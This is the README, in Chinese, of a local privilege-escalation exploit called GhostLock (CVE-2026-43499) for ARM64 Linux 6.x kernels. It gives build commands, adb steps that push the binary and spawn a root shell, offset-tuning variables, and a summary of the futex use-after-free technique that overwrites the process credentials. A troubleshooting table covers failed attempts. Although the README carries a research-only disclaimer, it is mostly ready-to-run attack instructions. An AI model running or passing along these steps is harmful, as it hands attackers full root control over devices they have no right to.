针对 非 Android Linux 6.x ARM64 内核的 GhostLock (CVE-2026-43499) 提权利用。
| 项目 | 值 |
|---|---|
| 架构 | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| 内核版本 | 6.x |
| SELinux | 无 |
| ashmem | 无 |
| configfs | 无 |
make
make android-arm64 NDK=/path/to/android-ndk
推送后自动触发编译,下载 artifact 即可。
# 推送到目标设备
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# 获取 root shell
adb shell /data/local/tmp/e --shell
# 调整 pselect 偏移 (如果默认值不工作)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 指定物理加载地址
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
| 变量 | 默认值 | 说明 |
|---|---|---|
PSELECT_SHIFT | -2 | pselect waiter 在栈上的偏移调整 |
KPHYS | 0x80000000 | 内核物理加载地址 |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | 内核虚拟基址 |
FUTEX_CMP_REQUEUE_PI 触发 remove_waiter() 的 UAFrt_mutex_waiter 落在 stack_fds 缓冲区task_struct->cred 覆写为 init_cred此版本基于 ghostlock-oneplus 精简:
| 现象 | 可能原因 | 解决方法 |
|---|---|---|
| 设备重启 | PSELECT_SHIFT 错误 | 从 -4 到 +4 逐个尝试 |
| 无效果 | KPHYS 错误 | 确认 /proc/iomem 中的正确值 |
| perf_event_open failed | seccomp 限制 | 尝试通过 ADB shell 运行 |
| 无 root | 偏移量不匹配 | 确认内核版本,检查 TASK_CRED_OFF |
本工具仅供安全研究使用。使用者需自行承担所有责任。